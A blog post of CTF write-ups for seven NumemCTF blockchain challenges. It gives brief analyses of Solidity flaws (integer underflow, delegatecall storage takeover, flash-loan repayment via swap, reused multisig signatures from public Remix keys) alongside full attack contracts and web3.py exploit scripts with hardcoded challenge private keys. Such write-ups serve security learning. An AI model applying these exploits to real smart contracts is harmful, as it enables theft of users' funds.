I participated in NumemCTF alone and just solved 7 easy challs.
I learned that there are many ways to use assembly in Solidity!
I will add my solution of challenges unsolved.
SimpleCall
Analysis
This code is written in solidity 0.7.0 and does not use SafeMath so that it is vulnerable to integer overflow.
The function related to transference mostly uses require statements to check whether balance is insufficient.
- require(A>B)
- require(A-B>0)
First statement is safe from integer overflow but second is not.
function transfer(address _to, uint _value) public returns (bool) {
require(balanceOf[msg.sender] - _value >= 0); // vulnerable
//...
}
Solve
attack.sol
contract Attack {
ExistingStock victim;
constructor(address _victim) {
victim = ExistingStock(_victim);
}
function attack() public {
victim.transfer(address(victim), 300000);
victim.privilegedborrowing(0, address(0), address(victim), abi.encodeWithSignature("approve(address,uint256)", address(this), 300000));
victim.setflag();
}
}
attack.py
import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))
#Check Connection
t=w3.isConnected()
print(t)
# Get private key
prikey = '0x503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695
input()
myAddr = Public_Address
cont = "0x1DA8b515684B65D23aEFF860F06f2957D37E6E4D" # deployed contract's address
def send_ether(_from, _to, _prikey, amount):
signed_txn = w3.eth.account.signTransaction(dict(
nonce=w3.eth.getTransactionCount(_from),
gasPrice = w3.eth.gasPrice,
gas = 1000000,
to=_to,
value = amount,
chainId = w3.eth.chain_id,
),
_prikey
)
result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
send_ether(myAddr, "0x6B18e0E7Aec85A4c7811eDb94615bd3f582873dA",prikey, 10**14)
input()
def attack(my_addr):
f = open('att.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=my_addr, abi=abi)
func_call = contract.functions["attack"]().buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def attack_deploy():
f = open("att.abi", "r"); contract_abi= f.read(); f.close()
f = open("att.bytecode", "r"); contract_bytecode= f.read(); f.close()
contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor(cont).buildTransaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": Public_Address,
"nonce": w3.eth.get_transaction_count(Public_Address),
}
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print("Deploying Contract!")
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for transaction to finish...")
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
return str(transaction_receipt.contractAddress)
attack(attack_deploy())
# flag{0xda0b5e252cfd5b31e5849642f549134fb5304d6c}
Counter
Analysis
The constructor of Deployer contract takes an argument of type 'bytes' and inserts bytecode by using inline assembly.
I am curious about how this works!
Have you heard honeypot?
It is deployed by using this technique.
https://hackernoon.com/how-to-exploit-a-solidity-constructor
The challenge requires the length of code is less than 25.
require(code.length<=24);
However, it is known general contract code is greater than 24 because they have dispatch routine.
In order to reduce, we use inline assembly instead of solidity.
{
sstore(0x0, caller())
}
// solc --yul --yul-dialect evm want.yul | grep Binary -A1
// 33600055
In the code
function A_delegateccall(bytes memory data) public{
(bool success,bytes memory returnData)=target.delegatecall(data);
require(owner==msg.sender);
flag=true;
}
It callls by delegatecall so that the storage in the context of target contract is owned by caller.
Solve
import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))
#Check Connection
t=w3.isConnected()
print(t)
# Get private key
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695
myAddr = Public_Address
cont = "0xB76E110cEb5e6F81Ed4b6437506609d11242cAE2" # deployed contract's address
def send_ether(_from, _to, _prikey, amount):
signed_txn = w3.eth.account.signTransaction(dict(
nonce=w3.eth.getTransactionCount(_from),
gasPrice = w3.eth.gasPrice,
gas = 1000000,
to=_to,
value = amount,
chainId = w3.eth.chain_id,
),
_prikey
)
result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
send_ether(myAddr, "0xBd3AAb59754ab0735c7F735e51Ebb338E0d2E20d",prikey, 10**15)
def create(code):
f = open('cont.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["create"](code).buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def A_delegateccall(data):
f = open('cont.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["A_delegateccall"](data).buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def attack_deploy():
f = open("att.abi", "r"); contract_abi= f.read(); f.close()
f = open("att.bytecode", "r"); contract_bytecode= f.read(); f.close()
contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor(cont).buildTransaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": Public_Address,
"nonce": w3.eth.get_transaction_count(Public_Address),
}
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print("Deploying Contract!")
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for transaction to finish...")
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
return str(transaction_receipt.contractAddress)
create(b"\x33\x60\x00\x55")
A_delegateccall(b'\x00')
# flag{0x6625dba6b9f07bfde3ca3423cd4c66bcf68d41e4}
Exist
Analysis
The goal is to call share_my_vault().
It verifies that whether caller is EOA and caller's address should pass is_my_family().
We can easily bypass the logci of is_my_family() by bruteforcing. (requirng 1 second)
Solve
find.py
import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
from pwn import *
w3 = Web3(Web3.HTTPProvider("http://34.141.16.87:30201/6641d991-702c-43ad-9d84-c3b4f58ad327"))
def check(addr):
addr = int(addr, 16)
# addr = long_to_bytes(addr)
code = 0xffff
feature = bytes_to_long(b"ZT")
for i in range(34):
if addr & code == feature :
return True
code <<= 4
feature <<= 4
return False
for i in range(0xffff):
pk = hex(i).ljust(66, "0")
addr=w3.eth.account.from_key(pk).address
if check(addr):
print(i)
solve.py
import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))
#Check Connection
t=w3.isConnected()
print(t)
# Get private key
prikey = hex(289).ljust(66, "0")
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695
myAddr = Public_Address
cont = "0x1c7A93d106b832F34BFC734286F1d70381c15479" # deployed contract's address
def send_ether(_from, _to, _prikey, amount):
signed_txn = w3.eth.account.signTransaction(dict(
nonce=w3.eth.getTransactionCount(_from),
gasPrice = w3.eth.gasPrice,
gas = 1000000,
to=_to,
value = amount,
chainId = w3.eth.chain_id,
),
_prikey
)
result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
# send_ether(myAddr, "0x3dC10F8Ec58aE18077DF7dfe6Be95e22B4Aefc9b",prikey, 10**15)
# input()
def share_my_vault():
f = open('cont.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["share_my_vault"]().buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def setflag():
f = open('cont.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["setflag"]().buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def attack_deploy():
f = open("att.abi", "r"); contract_abi= f.read(); f.close()
f = open("att.bytecode", "r"); contract_bytecode= f.read(); f.close()
contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor(cont).buildTransaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": Public_Address,
"nonce": w3.eth.get_transaction_count(Public_Address),
}
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print("Deploying Contract!")
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for transaction to finish...")
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
return str(transaction_receipt.contractAddress)
share_my_vault()
setflag()
# flag{0x58c71576485889cc367b4cb238ab719c3c2f7f70}
Hexp
Analysis
3d602d80600a3d3981f362ffffff80600a43034016903a1681146016576033fe5b5060006000f3
abel_0000:
// Inputs[3]
// {
// @0000 returndata.length
// @0006 returndata.length
// @0009 memory[returndata.length:returndata.length + 0x2d]
// }
0000 3D RETURNDATASIZE
0001 60 PUSH1 0x2d
0003 80 DUP1
0004 60 PUSH1 0x0a
0006 3D RETURNDATASIZE
0007 39 CODECOPY
0008 81 DUP2
0009 F3 *RETURN
// Stack delta = +1
// Outputs[3]
// {
// @0000 stack[0] = returndata.length
// @0007 memory[returndata.length:returndata.length + 0x2d] = code[0x0a:0x37]
// @0009 return memory[returndata.length:returndata.length + 0x2d];
// }
// Block terminates
000A 62 PUSH3 0xffffff
000E 80 DUP1
000F 60 PUSH1 0x0a
0011 43 NUMBER
0012 03 SUB
0013 40 BLOCKHASH
0014 16 AND
0015 90 SWAP1
0016 3A GASPRICE
0017 16 AND
0018 81 DUP2
0019 14 EQ
001A 60 PUSH1 0x16
001C 57 *JUMPI
001D 60 PUSH1 0x33
001F FE *ASSERT
0020 5B JUMPDEST
0021 50 POP
0022 60 PUSH1 0x00
0024 60 PUSH1 0x00
0026 F3 *RETURN
Let's interpret runtime bytecode
assert (blockhash(block.number - 0xa) & 0xffffff == gasprice())
Solve
solve.py
import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))
#Check Connection
t=w3.isConnected()
print(t)
# Get private key
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695
myAddr = Public_Address
cont = "0xB76E110cEb5e6F81Ed4b6437506609d11242cAE2" # deployed contract's address
def send_ether(_from, _to, _prikey, amount):
signed_txn = w3.eth.account.signTransaction(dict(
nonce=w3.eth.getTransactionCount(_from),
gasPrice = w3.eth.gasPrice,
gas = 1000000,
to=_to,
value = amount,
chainId = w3.eth.chain_id,
),
_prikey
)
result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
print(transaction_receipt['blockHash'])
return transaction_receipt['blockHash']
from pwn import *
r = remote("8.218.239.44", 24000) # nc 8.218.239.44 24000
r.sendlineafter("t your choice: ", str(1))
r.recvuntil("deployer account: ")
needed_addr = r.recvuntil('\n')[:-1].decode()
r.recvuntil("token: ")
token = r.recvuntil("\n")[:-1].decode()
r.close()
block_num = send_ether(myAddr, needed_addr,prikey, 10**15)
print(needed_addr)
print(token)
r = remote("8.218.239.44", 24000) # nc 8.218.239.44 24000
r.sendlineafter("t your choice: ", str(2))
r.sendlineafter("input your token: ", token)
# get
r.recvuntil("contract address: ")
cont = r.recvuntil("\n")[:-1].decode()
print(cont)
r.close()
from Crypto.Util.number import *
# 현재 블록해시 읽어오기
def create(target):
f = open('cont.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["f00000000_bvvvdlt"]().buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": target,
"gas": target,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
from web3.middleware import geth_poa_middleware
w3.middleware_onion.inject(geth_poa_middleware, layer=0)
cur = w3.eth.get_block('latest')['hash']
print(cur)
target = (bytes_to_long(cur)) & 0xffffff
i = 0
while i < 10:
try:
create(target)
except Exception as e:
print(e)
continue
print("success")
i += 1
print(token)
# flag{0xdd4672257e7adf56f0896c33747caf793fcd1e53}
LenderPool
Analysis
Its goal is to steal the pool's balance and it provides flashloan of token0.
We can repay by swap() that we can get token1 instead of transfer() that we can not get anything.
Solve
solve.sol
pragma solidity 0.8.16;
contract Attack {
IERC20 public immutable token0;
IERC20 public immutable token1;
LenderPool public immutable lender;
constructor(address _token0, address _token1, address _lender) {
token0 = ERC20(_token0);
token1 = ERC20(_token1);
lender = LenderPool(_lender);
}
function receiveEther(uint256 amount) public {
lender.swap(address(token1), 100 * 10**18);
}
function attack() public {
token0.approve(address(lender), 100 * 10**18);
token1.approve(address(lender), 100 * 10**18);
lender.flashLoan(100 * 10**18, address(this));
lender.swap(address(token0), 100 * 10**18);
}
}
solve.py
import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))
#Check Connection
t=w3.isConnected()
print(t)
# Get private key
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695
myAddr = Public_Address
cont = "0xB76E110cEb5e6F81Ed4b6437506609d11242cAE2" # deployed contract's address
def send_ether(_from, _to, _prikey, amount):
signed_txn = w3.eth.account.signTransaction(dict(
nonce=w3.eth.getTransactionCount(_from),
gasPrice = w3.eth.gasPrice,
gas = 1000000,
to=_to,
value = amount,
chainId = w3.eth.chain_id,
),
_prikey
)
result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
print(transaction_receipt['blockHash'])
return transaction_receipt['blockHash']
from pwn import *
# r = remote("8.218.239.44", 30000) # nc 8.218.239.44 30000
# r.sendlineafter("t your choice: ", str(1))
# r.recvuntil("deployer account: ")
# needed_addr = r.recvuntil('\n')[:-1].decode()
# r.recvuntil("token: ")
# token = r.recvuntil("\n")[:-1].decode()
# r.close()
# block_num = send_ether(myAddr, needed_addr,prikey, 10**15)
# print(needed_addr)
# print(token)
# sleep(2)
# r = remote("8.218.239.44", 24000) # nc 8.218.239.44 24000
# r.sendlineafter("t your choice: ", str(2))
# r.sendlineafter("input your token: ", token)
# # get
# r.recvuntil("contract address: ")
# cont = r.recvuntil("\n")[:-1].decode()
# print(cont)
# r.close()
from Crypto.Util.number import *
# 현재 블록해시 읽어오기
cont = ""
def attack_deploy():
f = open("att.abi", "r"); contract_abi= f.read(); f.close()
f = open("att.bytecode", "r"); contract_bytecode= f.read(); f.close()
contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor("0x9510BADedc6B17e570d03BF61889072a5c53B512", "0xCF3E2e53eD9EF06DA74AaAE9d688bba957748209","0x3363E49A69a80d42859f1eb1441953a4b13cF9ad").buildTransaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": Public_Address,
"nonce": w3.eth.get_transaction_count(Public_Address),
}
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print("Deploying Contract!")
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for transaction to finish...")
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
return str(transaction_receipt.contractAddress)
def attack(my_attack):
f = open('att.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=my_attack, abi=abi)
func_call = contract.functions["attack"]().buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
attack(attack_deploy())
# print(token) flag{0xf4ea28f40bd256f743544e2c55e00f14701ee20e}
Wallet
Analysis
When the asset owned by this contract is transferred, it requires the confirmation of multi-sig.
owners.push(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4));
owners.push(address(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2));
owners.push(address(0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db));
owners.push(address(0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB));
owners.push(address(0x617F2E2fD72FD9D5503197092aC168c91465E7f2));
These addresses are used in Remix so that private key is known to the pulbic.
Solve
solve.sol
contract Attack {
Wallet public victim;
constructor(address _victim) {
victim = Wallet(_victim);
}
function attack() public {
bytes memory reason = new bytes(1);
bytes32[2] memory rs;
bytes32 tmp;
assembly {
mstore(add(tmp, 32), 0x2c890c0d647e541dfb6701d777e40612030681c9f87777cc2866443d87994c9d)
}
rs[0] = tmp;
assembly {
mstore(add(tmp, 32), 0xf2149f718256ba41c5be7e037786ae06d371064fdf80cb333ff46bcef1ea0e3c)
}
rs[1] = tmp;
reason[0] = 0;
SignedByowner[] memory ss = new SignedByowner[](3);
ss[0] = SignedByowner(Holder(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), "1", true, reason), Signature(28, rs));
ss[1] = SignedByowner(Holder(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), "1", true, reason), Signature(28, rs));
ss[2] = SignedByowner(Holder(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), "1", true, reason), Signature(28, rs));
victim.transferWithSign(address(0x7Eeca3D06bfc20A1d0CbA259918BF6031DD5778B), 100 * 10 ** 18, ss);
}
}
solve.py
import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))
#Check Connection
t=w3.isConnected()
print(t)
# Get private key
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695
myAddr = Public_Address
cont = "0x1fa9554d439ed54BDfC50b227B62c60E864CE0B0" # deployed contract's address
def send_ether(_from, _to, _prikey, amount):
signed_txn = w3.eth.account.signTransaction(dict(
nonce=w3.eth.getTransactionCount(_from),
gasPrice = w3.eth.gasPrice,
gas = 1000000,
to=_to,
value = amount,
chainId = w3.eth.chain_id,
),
_prikey
)
result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
# send_ether(myAddr, "0xBd3AAb59754ab0735c7F735e51Ebb338E0d2E20d",prikey, 10**15)
def attack(addr):
f = open('att.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=addr, abi=abi)
func_call = contract.functions["attack"]().buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def attack_deploy():
f = open("att.abi", "r"); contract_abi= f.read(); f.close()
f = open("att.bytecode", "r"); contract_bytecode= f.read(); f.close()
contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor(cont).buildTransaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": Public_Address,
"nonce": w3.eth.get_transaction_count(Public_Address),
}
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print("Deploying Contract!")
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for transaction to finish...")
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
return str(transaction_receipt.contractAddress)
attack(attack_deploy())
# flag{0x4c7d8e17af758ca5204f61c16ea4353387352aeb}
Move to Checkin
Analysis
We should just call function HelloHackers() in module checkin.
Solve
# to copy my address for faucet
sui client active-address
# connect RPC
sui client new-env --alias ctf --rpc http://159.138.63.196:9000
# switch network
sui client switch --env ctf
# list sui received by faucet
sui client object
# transfer sui to deployer
sui client transfer-sui --to 0xa70e7a452178b6c32797728d3a97f9a87a0aac6c --sui-coin-object-id 0x66a9fdf22caae3d28352b9d91e896d7f24c36392 --gas-budget 10000
# call entry function
sui client call --function HelloHackers --module checkin --package 0xbc6777abb944886981241a70fdc46425e428c9cc --args "hello" --gas-budget 100000
'writeups' 카테고리의 다른 글
corCTF 2023 - blockchain(tribunal, baby-wallet) (0) | 2023.07.31 |
---|---|
angstromctf 2023 - pwn(Sailor's Revenge) (0) | 2023.04.27 |
DaVinciCTF 2023 - blockchain (0) | 2023.03.13 |
SUITF (0) | 2023.03.03 |
PBCTF 2023 - rev(move VM) (0) | 2023.02.20 |